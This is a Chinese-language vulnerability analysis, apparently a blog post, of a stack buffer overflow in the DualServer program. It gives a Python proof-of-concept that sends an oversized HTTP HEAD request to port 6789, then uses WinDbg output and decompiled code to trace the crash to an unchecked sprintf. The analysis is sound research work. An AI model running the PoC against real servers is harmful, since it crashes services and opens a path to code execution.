POC如下
import socket
import time
import syshost = ""
port = 6789
def send_request(host,port,data):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,port))
s.send(data)
print "[+] Malicious Packet Sent [+]\n"
except Exception:
print "[+] Exploit failed . . .[+]\n"
s.close()
ebx = "BBBB"
eax = "CCCC"
evil = "A" * 497 + eax + "AAAA" + ebx + "D" * 400
if(len(sys.argv) < 1):
print '\n Usage : exploit.py ipaddress\n'
exit(0)
else:
host = sys.argv[1]
#The method doesn't really matters. It gets valideted only about the length
request = "HEAD /{REPLACE} HTTP/1.1\r\nHost: " + str(host) + "\r\nUser-agent: Fuzzer\r\n\r\n"
send_request(host,port,request.replace("{REPLACE}",evil))
运行POC后产生异常,发现ebx被控制,且栈被破坏,猜测大概率是栈上的溢出
0:006> g
(ae4.3f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\root\Desktop\DualServer\DualServer.exe
DualServer+0x7f99:
00407f99 894324 mov dword ptr [ebx+24h],eax ds:002b:44444468=????????
0:000:x86> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0028fc18 42424242 44444444 44444444 44444444 DualServer+0x7f99
0028fc1c 44444444 44444444 44444444 44444444 0x42424242
0028fc20 44444444 44444444 44444444 44444444 0x44444444
0028fc24 44444444 44444444 44444444 44444444 0x44444444
接下来分析ebx为何被控制为了0x44444444,结合IDA和POC可以确定漏洞产生的原因是recv函数接受数据到栈上,但由于recv存在长度限制,产生漏洞的根本原因应该在后面
0:003> bp 00407BEC
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\root\Desktop\DualServer\DualServer.exe
0:003> bl
0 e x86 00000000`00407bec 0001 (0001) 0:**** DualServer+0x7bec
0:003> g
Breakpoint 0 hit
DualServer+0x7bec:
00407bec e8b79a0100 call DualServer+0x216a8 (004216a8)
0:000:x86> dd esp L4
0028f2b0 0000006c 0028f2e0 00000400 00000000
接下来可以对栈上的地址下写入断点,来判断是后续的那部分代码导致的溢出
0:000:x86> g
Breakpoint 1 hit
*** ERROR: Symbol file could not be found. Defaulted to export symbols for msvcrt.dll -
msvcrt!wtoi+0x65:
76edc888 ff01 inc dword ptr [ecx] ds:002b:0028f288=0028fc20
0:000:x86> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0028efd8 76edd0ba 0000018f 00000000 00000000 msvcrt!wtoi+0x65
0028f268 76eed399 0028f288 004323cf 00000000 msvcrt!wtoi+0x897
0028f2a8 00407f0e 0028fa10 004323cf 0028f810 msvcrt!sprintf+0x45
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
0028fcc0 7749389e 00510138 7749387a 7723aac6 DualServer+0x7f0e
0028fcc8 7749387a 7723aac6 00000000 00510000 ntdll_77460000!RtlImageNtHeader+0x73a
00510138 ffffffff 00000000 00000000 00000000 ntdll_77460000!RtlImageNtHeader+0x716
0051013c 00000000 00000000 00000000 00000000 0xffffffff
根据断点可以确定是sprintf导致的溢出,根据sprintf的函数约定可以确定是最后一个参数导致的
0:000:x86> dd 0028f2a8 L6 // ebp ret buf formatstr a1 a2
0028f2a8 0028fc18 00407f0e 0028fa10 004323cf
0028f2b8 0028f810 0028f2e50:000:x86> dc 0028f2e5
0028f2e5 4141412f 41414141 41414141 41414141 /AAAAAAAAAAAAAAA
0028f2f5 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0028f305 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0028f315 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0028f325 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0028f335 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0028f345 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0028f355 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0:000:x86> dc 0028f810
0028f810 2e373231 2e302e30 00000031 00537b98 127.0.0.1....{S.
0028f820 00521bd0 7747f911 745ba7a6 0000006c ..R...Gw..[tl...
0028f830 00000134 00000000 00000000 0028f860 4...........`.(.
0028f840 00012037 0028f870 00000004 0028f868 7 ..p.(.....h.(.
0028f850 00000008 00537d80 0028f9b8 745ba6a1 .....}S...(...[t
0028f860 00000000 00537af0 00000003 0028f9b8 .....zS.......(.
0028f870 83f7bf74 0028f9b8 745ba720 00537af0 t.....(. .[t.zS.
0028f880 00000000 00537cd8 745ba72d 00000000 .....|S.-.[t...
0:000:x86> dc 004323cf
004323cf 65696c43 2520746e 25202c73 6f6e2073 Client %s, %s no
004323df 6f662074 00646e75 696c4300 20746e65 t found..Client
004323ef 202c7325 61766e49 2064696c 70747468 %s, Invalid http
004323ff 71657220 74736575 2c612500 20642520 request.%a, %d
0043240f 25206225 48252059 3a4d253a 47205325 %b %Y %H:%M:%S G
0043241f 0000544d 61743c00 20656c62 64726f62 MT...<table bord
0043242f 223d7265 63202231 706c6c65 69646461 er="1" cellpaddi
0043243f 223d676e 77202231 68746469 3436223d ng="1" width="64
最后一个参数的Token是myGetToken的返回值,传入的参数就是recv接受的buf
Token = (char *)myGetToken(buf, 1u);...
sprintf(Buffer, "Client %s, %s not found", v7, Token);// 溢出
char *__cdecl myGetToken(char *Str, unsigned __int8 a2)
{
while ( *Str && a2 )
{
--a2;
Str += strlen(Str) + 1;
}
return Str;
}
可以发现该函数非常简单,功能就是从buf中去掉http的method的并返回剩余的字符串
因此该漏洞产生和触发的流程如下
procHTTP {
recv 接受外部的数据到栈上
myGetToken 去掉http method并返回字符串
sprintf 通过sprintf 连接字符串,但并没有检查Token的长度导致溢出
mov dword ptr [ebx+24h],eax ; sprintf覆盖了 procHTTP的参数block所在的地址,在对block赋值时触发漏洞
}